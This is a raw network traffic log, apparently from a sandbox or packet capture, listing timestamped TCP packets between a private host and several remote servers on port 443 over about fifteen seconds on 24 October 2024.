Oct 24, 2024 00:27:52.749711037 CEST	49765	443	192.168.2.16	13.107.246.254
Oct 24, 2024 00:27:52.749761105 CEST	443	49765	13.107.246.254	192.168.2.16
Oct 24, 2024 00:27:52.749787092 CEST	49765	443	192.168.2.16	13.107.246.254
Oct 24, 2024 00:27:52.749798059 CEST	443	49765	13.107.246.254	192.168.2.16
Oct 24, 2024 00:27:52.751712084 CEST	49780	443	192.168.2.16	13.107.246.254
Oct 24, 2024 00:27:52.751748085 CEST	443	49780	13.107.246.254	192.168.2.16
Oct 24, 2024 00:27:52.751825094 CEST	49780	443	192.168.2.16	13.107.246.254
Oct 24, 2024 00:27:52.752213955 CEST	49780	443	192.168.2.16	13.107.246.254
Oct 24, 2024 00:27:52.752228975 CEST	443	49780	13.107.246.254	192.168.2.16
Oct 24, 2024 00:27:52.797054052 CEST	49781	443	192.168.2.16	150.171.69.254
Oct 24, 2024 00:27:52.797103882 CEST	443	49781	150.171.69.254	192.168.2.16
Oct 24, 2024 00:27:52.797189951 CEST	49781	443	192.168.2.16	150.171.69.254
Oct 24, 2024 00:27:52.797475100 CEST	49781	443	192.168.2.16	150.171.69.254
Oct 24, 2024 00:27:52.797487020 CEST	443	49781	150.171.69.254	192.168.2.16
Oct 24, 2024 00:27:53.013438940 CEST	49783	443	192.168.2.16	142.250.186.142
Oct 24, 2024 00:27:53.013487101 CEST	443	49783	142.250.186.142	192.168.2.16
Oct 24, 2024 00:27:53.013551950 CEST	49783	443	192.168.2.16	142.250.186.142
Oct 24, 2024 00:27:53.013783932 CEST	49783	443	192.168.2.16	142.250.186.142
Oct 24, 2024 00:27:53.013797998 CEST	443	49783	142.250.186.142	192.168.2.16
Oct 24, 2024 00:27:53.516475916 CEST	443	49780	13.107.246.254	192.168.2.16
Oct 24, 2024 00:27:53.516654968 CEST	49780	443	192.168.2.16	13.107.246.254
Oct 24, 2024 00:27:53.520718098 CEST	49780	443	192.168.2.16	13.107.246.254
Oct 24, 2024 00:27:53.520736933 CEST	443	49780	13.107.246.254	192.168.2.16
Oct 24, 2024 00:27:53.520999908 CEST	443	49780	13.107.246.254	192.168.2.16
Oct 24, 2024 00:27:53.521070004 CEST	49780	443	192.168.2.16	13.107.246.254
Oct 24, 2024 00:27:53.524168968 CEST	49780	443	192.168.2.16	13.107.246.254
Oct 24, 2024 00:27:53.556080103 CEST	443	49781	150.171.69.254	192.168.2.16
Oct 24, 2024 00:27:53.556159973 CEST	49781	443	192.168.2.16	150.171.69.254
Oct 24, 2024 00:27:53.567337036 CEST	443	49780	13.107.246.254	192.168.2.16
Oct 24, 2024 00:27:53.574573040 CEST	49781	443	192.168.2.16	150.171.69.254
Oct 24, 2024 00:27:53.574620008 CEST	443	49781	150.171.69.254	192.168.2.16
Oct 24, 2024 00:27:53.574724913 CEST	49781	443	192.168.2.16	150.171.69.254
Oct 24, 2024 00:27:53.574736118 CEST	443	49781	150.171.69.254	192.168.2.16
Oct 24, 2024 00:27:53.575040102 CEST	443	49781	150.171.69.254	192.168.2.16
Oct 24, 2024 00:27:53.575098991 CEST	49781	443	192.168.2.16	150.171.69.254
Oct 24, 2024 00:27:53.651109934 CEST	443	49780	13.107.246.254	192.168.2.16
Oct 24, 2024 00:27:53.651191950 CEST	49780	443	192.168.2.16	13.107.246.254
Oct 24, 2024 00:27:53.651207924 CEST	443	49780	13.107.246.254	192.168.2.16
Oct 24, 2024 00:27:53.651253939 CEST	49780	443	192.168.2.16	13.107.246.254
Oct 24, 2024 00:27:53.651763916 CEST	443	49780	13.107.246.254	192.168.2.16
Oct 24, 2024 00:27:53.651810884 CEST	49780	443	192.168.2.16	13.107.246.254
Oct 24, 2024 00:27:53.651820898 CEST	443	49780	13.107.246.254	192.168.2.16
Oct 24, 2024 00:27:53.651840925 CEST	49780	443	192.168.2.16	13.107.246.254
Oct 24, 2024 00:27:53.651849031 CEST	443	49780	13.107.246.254	192.168.2.16
Oct 24, 2024 00:27:53.651874065 CEST	49780	443	192.168.2.16	13.107.246.254
Oct 24, 2024 00:27:53.704648972 CEST	443	49781	150.171.69.254	192.168.2.16
Oct 24, 2024 00:27:53.704732895 CEST	49781	443	192.168.2.16	150.171.69.254
Oct 24, 2024 00:27:53.704766035 CEST	443	49781	150.171.69.254	192.168.2.16
Oct 24, 2024 00:27:53.704819918 CEST	49781	443	192.168.2.16	150.171.69.254
Oct 24, 2024 00:27:53.705219984 CEST	49781	443	192.168.2.16	150.171.69.254
Oct 24, 2024 00:27:53.705264091 CEST	443	49781	150.171.69.254	192.168.2.16
Oct 24, 2024 00:27:53.705315113 CEST	49781	443	192.168.2.16	150.171.69.254
Oct 24, 2024 00:27:53.707381964 CEST	49784	443	192.168.2.16	150.171.69.254
Oct 24, 2024 00:27:53.707420111 CEST	443	49784	150.171.69.254	192.168.2.16
Oct 24, 2024 00:27:53.707494974 CEST	49784	443	192.168.2.16	150.171.69.254
Oct 24, 2024 00:27:53.707696915 CEST	49784	443	192.168.2.16	150.171.69.254
Oct 24, 2024 00:27:53.707710028 CEST	443	49784	150.171.69.254	192.168.2.16
Oct 24, 2024 00:27:53.872014999 CEST	443	49783	142.250.186.142	192.168.2.16
Oct 24, 2024 00:27:53.872252941 CEST	49783	443	192.168.2.16	142.250.186.142
Oct 24, 2024 00:27:53.872261047 CEST	443	49783	142.250.186.142	192.168.2.16
Oct 24, 2024 00:27:53.873275995 CEST	443	49783	142.250.186.142	192.168.2.16
Oct 24, 2024 00:27:53.873332977 CEST	49783	443	192.168.2.16	142.250.186.142
Oct 24, 2024 00:27:53.874492884 CEST	49783	443	192.168.2.16	142.250.186.142
Oct 24, 2024 00:27:53.874546051 CEST	443	49783	142.250.186.142	192.168.2.16
Oct 24, 2024 00:27:53.874666929 CEST	49783	443	192.168.2.16	142.250.186.142
Oct 24, 2024 00:27:53.874670982 CEST	443	49783	142.250.186.142	192.168.2.16
Oct 24, 2024 00:27:53.917067051 CEST	49783	443	192.168.2.16	142.250.186.142
Oct 24, 2024 00:27:54.009264946 CEST	49785	443	192.168.2.16	142.250.185.206
Oct 24, 2024 00:27:54.009304047 CEST	443	49785	142.250.185.206	192.168.2.16
Oct 24, 2024 00:27:54.009371996 CEST	49785	443	192.168.2.16	142.250.185.206
Oct 24, 2024 00:27:54.009681940 CEST	49785	443	192.168.2.16	142.250.185.206
Oct 24, 2024 00:27:54.009691954 CEST	443	49785	142.250.185.206	192.168.2.16
Oct 24, 2024 00:27:54.120151997 CEST	443	49783	142.250.186.142	192.168.2.16
Oct 24, 2024 00:27:54.120198011 CEST	443	49783	142.250.186.142	192.168.2.16
Oct 24, 2024 00:27:54.120232105 CEST	443	49783	142.250.186.142	192.168.2.16
Oct 24, 2024 00:27:54.120244980 CEST	49783	443	192.168.2.16	142.250.186.142
Oct 24, 2024 00:27:54.120253086 CEST	443	49783	142.250.186.142	192.168.2.16
Oct 24, 2024 00:27:54.120287895 CEST	49783	443	192.168.2.16	142.250.186.142
Oct 24, 2024 00:27:54.120503902 CEST	443	49783	142.250.186.142	192.168.2.16
Oct 24, 2024 00:27:54.120553970 CEST	443	49783	142.250.186.142	192.168.2.16
Oct 24, 2024 00:27:54.120593071 CEST	49783	443	192.168.2.16	142.250.186.142
Oct 24, 2024 00:27:54.120596886 CEST	443	49783	142.250.186.142	192.168.2.16
Oct 24, 2024 00:27:54.129092932 CEST	443	49783	142.250.186.142	192.168.2.16
Oct 24, 2024 00:27:54.129151106 CEST	49783	443	192.168.2.16	142.250.186.142
Oct 24, 2024 00:27:54.129156113 CEST	443	49783	142.250.186.142	192.168.2.16
Oct 24, 2024 00:27:54.173085928 CEST	49783	443	192.168.2.16	142.250.186.142
Oct 24, 2024 00:27:54.173091888 CEST	443	49783	142.250.186.142	192.168.2.16
Oct 24, 2024 00:27:54.221031904 CEST	49783	443	192.168.2.16	142.250.186.142
Oct 24, 2024 00:27:54.238029957 CEST	443	49783	142.250.186.142	192.168.2.16
Oct 24, 2024 00:27:54.238117933 CEST	443	49783	142.250.186.142	192.168.2.16
Oct 24, 2024 00:27:54.238188028 CEST	49783	443	192.168.2.16	142.250.186.142
Oct 24, 2024 00:27:54.238192081 CEST	443	49783	142.250.186.142	192.168.2.16
Oct 24, 2024 00:27:54.240776062 CEST	443	49783	142.250.186.142	192.168.2.16
Oct 24, 2024 00:27:54.240839958 CEST	49783	443	192.168.2.16	142.250.186.142
Oct 24, 2024 00:27:54.240847111 CEST	443	49783	142.250.186.142	192.168.2.16
Oct 24, 2024 00:27:54.245084047 CEST	443	49783	142.250.186.142	192.168.2.16
Oct 24, 2024 00:27:54.245136976 CEST	49783	443	192.168.2.16	142.250.186.142
Oct 24, 2024 00:27:54.245141029 CEST	443	49783	142.250.186.142	192.168.2.16
Oct 24, 2024 00:27:54.253905058 CEST	443	49783	142.250.186.142	192.168.2.16
Oct 24, 2024 00:27:54.253952026 CEST	49783	443	192.168.2.16	142.250.186.142
Oct 24, 2024 00:27:54.253956079 CEST	443	49783	142.250.186.142	192.168.2.16
Oct 24, 2024 00:27:54.262770891 CEST	443	49783	142.250.186.142	192.168.2.16
Oct 24, 2024 00:27:54.262824059 CEST	49783	443	192.168.2.16	142.250.186.142
Oct 24, 2024 00:27:54.262828112 CEST	443	49783	142.250.186.142	192.168.2.16
Oct 24, 2024 00:27:54.271632910 CEST	443	49783	142.250.186.142	192.168.2.16
Oct 24, 2024 00:27:54.271704912 CEST	49783	443	192.168.2.16	142.250.186.142
Oct 24, 2024 00:27:54.271709919 CEST	443	49783	142.250.186.142	192.168.2.16
Oct 24, 2024 00:27:54.280497074 CEST	443	49783	142.250.186.142	192.168.2.16
Oct 24, 2024 00:27:54.280556917 CEST	49783	443	192.168.2.16	142.250.186.142
Oct 24, 2024 00:27:54.280560970 CEST	443	49783	142.250.186.142	192.168.2.16
Oct 24, 2024 00:27:54.289552927 CEST	443	49783	142.250.186.142	192.168.2.16
Oct 24, 2024 00:27:54.289607048 CEST	49783	443	192.168.2.16	142.250.186.142
Oct 24, 2024 00:27:54.289611101 CEST	443	49783	142.250.186.142	192.168.2.16
Oct 24, 2024 00:27:54.297830105 CEST	443	49783	142.250.186.142	192.168.2.16
Oct 24, 2024 00:27:54.297883034 CEST	49783	443	192.168.2.16	142.250.186.142
Oct 24, 2024 00:27:54.297887087 CEST	443	49783	142.250.186.142	192.168.2.16
Oct 24, 2024 00:27:54.349081039 CEST	49783	443	192.168.2.16	142.250.186.142
Oct 24, 2024 00:27:54.349087954 CEST	443	49783	142.250.186.142	192.168.2.16
Oct 24, 2024 00:27:54.356144905 CEST	443	49783	142.250.186.142	192.168.2.16
Oct 24, 2024 00:27:54.356182098 CEST	443	49783	142.250.186.142	192.168.2.16
Oct 24, 2024 00:27:54.356216908 CEST	443	49783	142.250.186.142	192.168.2.16
Oct 24, 2024 00:27:54.356218100 CEST	49783	443	192.168.2.16	142.250.186.142
Oct 24, 2024 00:27:54.356228113 CEST	443	49783	142.250.186.142	192.168.2.16
Oct 24, 2024 00:27:54.356270075 CEST	49783	443	192.168.2.16	142.250.186.142
Oct 24, 2024 00:27:54.356775999 CEST	443	49783	142.250.186.142	192.168.2.16
Oct 24, 2024 00:27:54.356815100 CEST	49783	443	192.168.2.16	142.250.186.142
Oct 24, 2024 00:27:54.356818914 CEST	443	49783	142.250.186.142	192.168.2.16
Oct 24, 2024 00:27:54.358719110 CEST	443	49783	142.250.186.142	192.168.2.16
Oct 24, 2024 00:27:54.358746052 CEST	443	49783	142.250.186.142	192.168.2.16
Oct 24, 2024 00:27:54.358800888 CEST	49783	443	192.168.2.16	142.250.186.142
Oct 24, 2024 00:27:54.358805895 CEST	443	49783	142.250.186.142	192.168.2.16
Oct 24, 2024 00:27:54.360399961 CEST	49783	443	192.168.2.16	142.250.186.142
Oct 24, 2024 00:27:54.361397982 CEST	443	49783	142.250.186.142	192.168.2.16
Oct 24, 2024 00:27:54.364681959 CEST	443	49783	142.250.186.142	192.168.2.16
Oct 24, 2024 00:27:54.364753962 CEST	49783	443	192.168.2.16	142.250.186.142
Oct 24, 2024 00:27:54.364758015 CEST	443	49783	142.250.186.142	192.168.2.16
Oct 24, 2024 00:27:54.371581078 CEST	443	49783	142.250.186.142	192.168.2.16
Oct 24, 2024 00:27:54.371632099 CEST	49783	443	192.168.2.16	142.250.186.142
Oct 24, 2024 00:27:54.371637106 CEST	443	49783	142.250.186.142	192.168.2.16
Oct 24, 2024 00:27:54.377546072 CEST	443	49783	142.250.186.142	192.168.2.16
Oct 24, 2024 00:27:54.377566099 CEST	443	49783	142.250.186.142	192.168.2.16
Oct 24, 2024 00:27:54.377588034 CEST	49783	443	192.168.2.16	142.250.186.142
Oct 24, 2024 00:27:54.377592087 CEST	443	49783	142.250.186.142	192.168.2.16
Oct 24, 2024 00:27:54.377631903 CEST	49783	443	192.168.2.16	142.250.186.142
Oct 24, 2024 00:27:54.383651972 CEST	443	49783	142.250.186.142	192.168.2.16
Oct 24, 2024 00:27:54.389753103 CEST	443	49783	142.250.186.142	192.168.2.16
Oct 24, 2024 00:27:54.389806986 CEST	49783	443	192.168.2.16	142.250.186.142
Oct 24, 2024 00:27:54.389811039 CEST	443	49783	142.250.186.142	192.168.2.16
Oct 24, 2024 00:27:54.395853996 CEST	443	49783	142.250.186.142	192.168.2.16
Oct 24, 2024 00:27:54.395895004 CEST	443	49783	142.250.186.142	192.168.2.16
Oct 24, 2024 00:27:54.395900011 CEST	49783	443	192.168.2.16	142.250.186.142
Oct 24, 2024 00:27:54.395904064 CEST	443	49783	142.250.186.142	192.168.2.16
Oct 24, 2024 00:27:54.395941973 CEST	49783	443	192.168.2.16	142.250.186.142
Oct 24, 2024 00:27:54.401927948 CEST	443	49783	142.250.186.142	192.168.2.16
Oct 24, 2024 00:27:54.408097982 CEST	443	49783	142.250.186.142	192.168.2.16
Oct 24, 2024 00:27:54.408154964 CEST	49783	443	192.168.2.16	142.250.186.142
Oct 24, 2024 00:27:54.408163071 CEST	443	49783	142.250.186.142	192.168.2.16
Oct 24, 2024 00:27:54.414038897 CEST	443	49783	142.250.186.142	192.168.2.16
Oct 24, 2024 00:27:54.414108992 CEST	49783	443	192.168.2.16	142.250.186.142
Oct 24, 2024 00:27:54.414113045 CEST	443	49783	142.250.186.142	192.168.2.16
Oct 24, 2024 00:27:54.420090914 CEST	443	49783	142.250.186.142	192.168.2.16
Oct 24, 2024 00:27:54.420155048 CEST	49783	443	192.168.2.16	142.250.186.142
Oct 24, 2024 00:27:54.420159101 CEST	443	49783	142.250.186.142	192.168.2.16
Oct 24, 2024 00:27:54.426141024 CEST	443	49783	142.250.186.142	192.168.2.16
Oct 24, 2024 00:27:54.426188946 CEST	49783	443	192.168.2.16	142.250.186.142
Oct 24, 2024 00:27:54.426192999 CEST	443	49783	142.250.186.142	192.168.2.16
Oct 24, 2024 00:27:54.432378054 CEST	443	49783	142.250.186.142	192.168.2.16
Oct 24, 2024 00:27:54.432404995 CEST	443	49783	142.250.186.142	192.168.2.16
Oct 24, 2024 00:27:54.432444096 CEST	49783	443	192.168.2.16	142.250.186.142
Oct 24, 2024 00:27:54.432449102 CEST	443	49783	142.250.186.142	192.168.2.16
Oct 24, 2024 00:27:54.432482958 CEST	49783	443	192.168.2.16	142.250.186.142
Oct 24, 2024 00:27:54.438359022 CEST	443	49783	142.250.186.142	192.168.2.16
Oct 24, 2024 00:27:54.444399118 CEST	443	49783	142.250.186.142	192.168.2.16
Oct 24, 2024 00:27:54.444447041 CEST	49783	443	192.168.2.16	142.250.186.142
Oct 24, 2024 00:27:54.444452047 CEST	443	49783	142.250.186.142	192.168.2.16
Oct 24, 2024 00:27:54.464911938 CEST	443	49784	150.171.69.254	192.168.2.16
Oct 24, 2024 00:27:54.465092897 CEST	49784	443	192.168.2.16	150.171.69.254
Oct 24, 2024 00:27:54.465854883 CEST	443	49783	142.250.186.142	192.168.2.16
Oct 24, 2024 00:27:54.465904951 CEST	49783	443	192.168.2.16	142.250.186.142
Oct 24, 2024 00:27:54.465909958 CEST	443	49783	142.250.186.142	192.168.2.16
Oct 24, 2024 00:27:54.466849089 CEST	49784	443	192.168.2.16	150.171.69.254
Oct 24, 2024 00:27:54.466849089 CEST	49784	443	192.168.2.16	150.171.69.254
Oct 24, 2024 00:27:54.466855049 CEST	443	49784	150.171.69.254	192.168.2.16
Oct 24, 2024 00:27:54.466871023 CEST	443	49784	150.171.69.254	192.168.2.16
Oct 24, 2024 00:27:54.467091084 CEST	443	49784	150.171.69.254	192.168.2.16
Oct 24, 2024 00:27:54.471329927 CEST	49784	443	192.168.2.16	150.171.69.254
Oct 24, 2024 00:27:54.474122047 CEST	443	49783	142.250.186.142	192.168.2.16
Oct 24, 2024 00:27:54.474153042 CEST	443	49783	142.250.186.142	192.168.2.16
Oct 24, 2024 00:27:54.474179983 CEST	443	49783	142.250.186.142	192.168.2.16
Oct 24, 2024 00:27:54.474205017 CEST	443	49783	142.250.186.142	192.168.2.16
Oct 24, 2024 00:27:54.474208117 CEST	49783	443	192.168.2.16	142.250.186.142
Oct 24, 2024 00:27:54.474215984 CEST	443	49783	142.250.186.142	192.168.2.16
Oct 24, 2024 00:27:54.474256039 CEST	49783	443	192.168.2.16	142.250.186.142
Oct 24, 2024 00:27:54.474384069 CEST	443	49783	142.250.186.142	192.168.2.16
Oct 24, 2024 00:27:54.474483013 CEST	443	49783	142.250.186.142	192.168.2.16
Oct 24, 2024 00:27:54.474523067 CEST	49783	443	192.168.2.16	142.250.186.142
Oct 24, 2024 00:27:54.474526882 CEST	443	49783	142.250.186.142	192.168.2.16
Oct 24, 2024 00:27:54.479217052 CEST	443	49783	142.250.186.142	192.168.2.16
Oct 24, 2024 00:27:54.479259014 CEST	443	49783	142.250.186.142	192.168.2.16
Oct 24, 2024 00:27:54.479289055 CEST	49783	443	192.168.2.16	142.250.186.142
Oct 24, 2024 00:27:54.479294062 CEST	443	49783	142.250.186.142	192.168.2.16
Oct 24, 2024 00:27:54.479335070 CEST	49783	443	192.168.2.16	142.250.186.142
Oct 24, 2024 00:27:54.484635115 CEST	443	49783	142.250.186.142	192.168.2.16
Oct 24, 2024 00:27:54.490010977 CEST	443	49783	142.250.186.142	192.168.2.16
Oct 24, 2024 00:27:54.490036011 CEST	443	49783	142.250.186.142	192.168.2.16
Oct 24, 2024 00:27:54.490056992 CEST	49783	443	192.168.2.16	142.250.186.142
Oct 24, 2024 00:27:54.490062952 CEST	443	49783	142.250.186.142	192.168.2.16
Oct 24, 2024 00:27:54.490099907 CEST	49783	443	192.168.2.16	142.250.186.142
Oct 24, 2024 00:27:54.495330095 CEST	443	49783	142.250.186.142	192.168.2.16
Oct 24, 2024 00:27:54.499206066 CEST	443	49783	142.250.186.142	192.168.2.16
Oct 24, 2024 00:27:54.499229908 CEST	443	49783	142.250.186.142	192.168.2.16
Oct 24, 2024 00:27:54.499252081 CEST	49783	443	192.168.2.16	142.250.186.142
Oct 24, 2024 00:27:54.499264002 CEST	443	49783	142.250.186.142	192.168.2.16
Oct 24, 2024 00:27:54.499320030 CEST	49783	443	192.168.2.16	142.250.186.142
Oct 24, 2024 00:27:54.499473095 CEST	49783	443	192.168.2.16	142.250.186.142
Oct 24, 2024 00:27:54.499506950 CEST	443	49783	142.250.186.142	192.168.2.16
Oct 24, 2024 00:27:54.499556065 CEST	49783	443	192.168.2.16	142.250.186.142
Oct 24, 2024 00:27:54.597884893 CEST	443	49784	150.171.69.254	192.168.2.16
Oct 24, 2024 00:27:54.597959995 CEST	49784	443	192.168.2.16	150.171.69.254
Oct 24, 2024 00:27:54.597987890 CEST	443	49784	150.171.69.254	192.168.2.16
Oct 24, 2024 00:27:54.598174095 CEST	49784	443	192.168.2.16	150.171.69.254
Oct 24, 2024 00:27:54.598448992 CEST	49784	443	192.168.2.16	150.171.69.254
Oct 24, 2024 00:27:54.598483086 CEST	443	49784	150.171.69.254	192.168.2.16
Oct 24, 2024 00:27:54.598628998 CEST	443	49784	150.171.69.254	192.168.2.16
Oct 24, 2024 00:27:54.598665953 CEST	49784	443	192.168.2.16	150.171.69.254
Oct 24, 2024 00:27:54.598665953 CEST	49784	443	192.168.2.16	150.171.69.254
Oct 24, 2024 00:27:54.600888968 CEST	49787	443	192.168.2.16	204.79.197.222
Oct 24, 2024 00:27:54.600915909 CEST	443	49787	204.79.197.222	192.168.2.16
Oct 24, 2024 00:27:54.600986004 CEST	49787	443	192.168.2.16	204.79.197.222
Oct 24, 2024 00:27:54.601171017 CEST	49787	443	192.168.2.16	204.79.197.222
Oct 24, 2024 00:27:54.601181984 CEST	443	49787	204.79.197.222	192.168.2.16
Oct 24, 2024 00:27:54.867954969 CEST	443	49785	142.250.185.206	192.168.2.16
Oct 24, 2024 00:27:54.868280888 CEST	49785	443	192.168.2.16	142.250.185.206
Oct 24, 2024 00:27:54.868292093 CEST	443	49785	142.250.185.206	192.168.2.16
Oct 24, 2024 00:27:54.868789911 CEST	443	49785	142.250.185.206	192.168.2.16
Oct 24, 2024 00:27:54.868866920 CEST	49785	443	192.168.2.16	142.250.185.206
Oct 24, 2024 00:27:54.869714022 CEST	443	49785	142.250.185.206	192.168.2.16
Oct 24, 2024 00:27:54.869781017 CEST	49785	443	192.168.2.16	142.250.185.206
Oct 24, 2024 00:27:54.870855093 CEST	49785	443	192.168.2.16	142.250.185.206
Oct 24, 2024 00:27:54.870917082 CEST	443	49785	142.250.185.206	192.168.2.16
Oct 24, 2024 00:27:54.871037006 CEST	49785	443	192.168.2.16	142.250.185.206
Oct 24, 2024 00:27:54.871057034 CEST	49785	443	192.168.2.16	142.250.185.206
Oct 24, 2024 00:27:54.871068954 CEST	443	49785	142.250.185.206	192.168.2.16
Oct 24, 2024 00:27:54.925096989 CEST	49785	443	192.168.2.16	142.250.185.206
Oct 24, 2024 00:27:55.149437904 CEST	443	49785	142.250.185.206	192.168.2.16
Oct 24, 2024 00:27:55.196054935 CEST	49785	443	192.168.2.16	142.250.185.206
Oct 24, 2024 00:27:55.196080923 CEST	443	49785	142.250.185.206	192.168.2.16
Oct 24, 2024 00:27:55.197140932 CEST	49785	443	192.168.2.16	142.250.185.206
Oct 24, 2024 00:27:55.197237968 CEST	443	49785	142.250.185.206	192.168.2.16
Oct 24, 2024 00:27:55.197299004 CEST	49785	443	192.168.2.16	142.250.185.206
Oct 24, 2024 00:27:55.344301939 CEST	443	49787	204.79.197.222	192.168.2.16
Oct 24, 2024 00:27:55.344413042 CEST	49787	443	192.168.2.16	204.79.197.222
Oct 24, 2024 00:27:55.344935894 CEST	49787	443	192.168.2.16	204.79.197.222
Oct 24, 2024 00:27:55.344949961 CEST	443	49787	204.79.197.222	192.168.2.16
Oct 24, 2024 00:27:55.345216990 CEST	49787	443	192.168.2.16	204.79.197.222
Oct 24, 2024 00:27:55.345221996 CEST	443	49787	204.79.197.222	192.168.2.16
Oct 24, 2024 00:27:55.476708889 CEST	443	49787	204.79.197.222	192.168.2.16
Oct 24, 2024 00:27:55.476784945 CEST	49787	443	192.168.2.16	204.79.197.222
Oct 24, 2024 00:27:55.476809978 CEST	443	49787	204.79.197.222	192.168.2.16
Oct 24, 2024 00:27:55.476886988 CEST	49787	443	192.168.2.16	204.79.197.222
Oct 24, 2024 00:27:55.477216005 CEST	443	49787	204.79.197.222	192.168.2.16
Oct 24, 2024 00:27:55.477257013 CEST	49787	443	192.168.2.16	204.79.197.222
Oct 24, 2024 00:27:55.477276087 CEST	443	49787	204.79.197.222	192.168.2.16
Oct 24, 2024 00:27:55.477314949 CEST	49787	443	192.168.2.16	204.79.197.222
Oct 24, 2024 00:27:55.477392912 CEST	49787	443	192.168.2.16	204.79.197.222
Oct 24, 2024 00:27:55.477407932 CEST	443	49787	204.79.197.222	192.168.2.16
Oct 24, 2024 00:27:56.283520937 CEST	49788	443	192.168.2.16	142.250.185.206
Oct 24, 2024 00:27:56.283574104 CEST	443	49788	142.250.185.206	192.168.2.16
Oct 24, 2024 00:27:56.283680916 CEST	49788	443	192.168.2.16	142.250.185.206
Oct 24, 2024 00:27:56.284215927 CEST	49788	443	192.168.2.16	142.250.185.206
Oct 24, 2024 00:27:56.284234047 CEST	443	49788	142.250.185.206	192.168.2.16
Oct 24, 2024 00:27:57.138763905 CEST	443	49788	142.250.185.206	192.168.2.16
Oct 24, 2024 00:27:57.139126062 CEST	49788	443	192.168.2.16	142.250.185.206
Oct 24, 2024 00:27:57.139142990 CEST	443	49788	142.250.185.206	192.168.2.16
Oct 24, 2024 00:27:57.140438080 CEST	443	49788	142.250.185.206	192.168.2.16
Oct 24, 2024 00:27:57.140685081 CEST	49788	443	192.168.2.16	142.250.185.206
Oct 24, 2024 00:27:57.142935991 CEST	443	49788	142.250.185.206	192.168.2.16
Oct 24, 2024 00:27:57.143044949 CEST	49788	443	192.168.2.16	142.250.185.206
Oct 24, 2024 00:27:57.143203020 CEST	49788	443	192.168.2.16	142.250.185.206
Oct 24, 2024 00:27:57.143337965 CEST	49788	443	192.168.2.16	142.250.185.206
Oct 24, 2024 00:27:57.143347025 CEST	443	49788	142.250.185.206	192.168.2.16
Oct 24, 2024 00:27:57.143435001 CEST	49788	443	192.168.2.16	142.250.185.206
Oct 24, 2024 00:27:57.145114899 CEST	443	49788	142.250.185.206	192.168.2.16
Oct 24, 2024 00:27:57.190076113 CEST	49788	443	192.168.2.16	142.250.185.206
Oct 24, 2024 00:27:57.190094948 CEST	443	49788	142.250.185.206	192.168.2.16
Oct 24, 2024 00:27:57.232247114 CEST	49788	443	192.168.2.16	142.250.185.206
Oct 24, 2024 00:27:57.458103895 CEST	443	49788	142.250.185.206	192.168.2.16
Oct 24, 2024 00:27:57.501466990 CEST	49788	443	192.168.2.16	142.250.185.206
Oct 24, 2024 00:27:57.501476049 CEST	443	49788	142.250.185.206	192.168.2.16
Oct 24, 2024 00:27:57.502392054 CEST	49788	443	192.168.2.16	142.250.185.206
Oct 24, 2024 00:27:57.502504110 CEST	443	49788	142.250.185.206	192.168.2.16
Oct 24, 2024 00:27:57.502667904 CEST	443	49788	142.250.185.206	192.168.2.16
Oct 24, 2024 00:27:57.502722025 CEST	49788	443	192.168.2.16	142.250.185.206
Oct 24, 2024 00:27:57.502722025 CEST	49788	443	192.168.2.16	142.250.185.206
Oct 24, 2024 00:27:59.755074024 CEST	443	49776	142.250.181.228	192.168.2.16
Oct 24, 2024 00:27:59.755135059 CEST	443	49776	142.250.181.228	192.168.2.16
Oct 24, 2024 00:27:59.755237103 CEST	49776	443	192.168.2.16	142.250.181.228
Oct 24, 2024 00:28:00.700082064 CEST	49776	443	192.168.2.16	142.250.181.228
Oct 24, 2024 00:28:00.700114965 CEST	443	49776	142.250.181.228	192.168.2.16
Oct 24, 2024 00:28:06.417857885 CEST	49796	443	192.168.2.16	13.107.246.60
Oct 24, 2024 00:28:06.417872906 CEST	443	49796	13.107.246.60	192.168.2.16
Oct 24, 2024 00:28:06.417946100 CEST	49796	443	192.168.2.16	13.107.246.60
Oct 24, 2024 00:28:06.418319941 CEST	49796	443	192.168.2.16	13.107.246.60
Oct 24, 2024 00:28:06.418333054 CEST	443	49796	13.107.246.60	192.168.2.16
Oct 24, 2024 00:28:07.385231972 CEST	443	49796	13.107.246.60	192.168.2.16
Oct 24, 2024 00:28:07.385299921 CEST	49796	443	192.168.2.16	13.107.246.60
Oct 24, 2024 00:28:07.387139082 CEST	49796	443	192.168.2.16	13.107.246.60
Oct 24, 2024 00:28:07.387145042 CEST	443	49796	13.107.246.60	192.168.2.16
Oct 24, 2024 00:28:07.387432098 CEST	443	49796	13.107.246.60	192.168.2.16
Oct 24, 2024 00:28:07.388861895 CEST	49796	443	192.168.2.16	13.107.246.60
Oct 24, 2024 00:28:07.435327053 CEST	443	49796	13.107.246.60	192.168.2.16
Oct 24, 2024 00:28:07.625665903 CEST	443	49796	13.107.246.60	192.168.2.16
Oct 24, 2024 00:28:07.625695944 CEST	443	49796	13.107.246.60	192.168.2.16
Oct 24, 2024 00:28:07.625711918 CEST	443	49796	13.107.246.60	192.168.2.16
Oct 24, 2024 00:28:07.625797033 CEST	49796	443	192.168.2.16	13.107.246.60
Oct 24, 2024 00:28:07.625814915 CEST	443	49796	13.107.246.60	192.168.2.16
Oct 24, 2024 00:28:07.625870943 CEST	49796	443	192.168.2.16	13.107.246.60
Oct 24, 2024 00:28:07.644736052 CEST	443	49796	13.107.246.60	192.168.2.16
Oct 24, 2024 00:28:07.644767046 CEST	443	49796	13.107.246.60	192.168.2.16
Oct 24, 2024 00:28:07.644912958 CEST	49796	443	192.168.2.16	13.107.246.60
Oct 24, 2024 00:28:07.644923925 CEST	443	49796	13.107.246.60	192.168.2.16
Oct 24, 2024 00:28:07.644973993 CEST	49796	443	192.168.2.16	13.107.246.60
Oct 24, 2024 00:28:07.745330095 CEST	443	49796	13.107.246.60	192.168.2.16
Oct 24, 2024 00:28:07.745352030 CEST	443	49796	13.107.246.60	192.168.2.16
Oct 24, 2024 00:28:07.745419025 CEST	49796	443	192.168.2.16	13.107.246.60
Oct 24, 2024 00:28:07.745433092 CEST	443	49796	13.107.246.60	192.168.2.16
Oct 24, 2024 00:28:07.745506048 CEST	49796	443	192.168.2.16	13.107.246.60
Oct 24, 2024 00:28:07.763355970 CEST	443	49796	13.107.246.60	192.168.2.16
Oct 24, 2024 00:28:07.763376951 CEST	443	49796	13.107.246.60	192.168.2.16
Oct 24, 2024 00:28:07.763494015 CEST	49796	443	192.168.2.16	13.107.246.60
Oct 24, 2024 00:28:07.763501883 CEST	443	49796	13.107.246.60	192.168.2.16
Oct 24, 2024 00:28:07.763550997 CEST	49796	443	192.168.2.16	13.107.246.60
Oct 24, 2024 00:28:07.765228033 CEST	443	49796	13.107.246.60	192.168.2.16
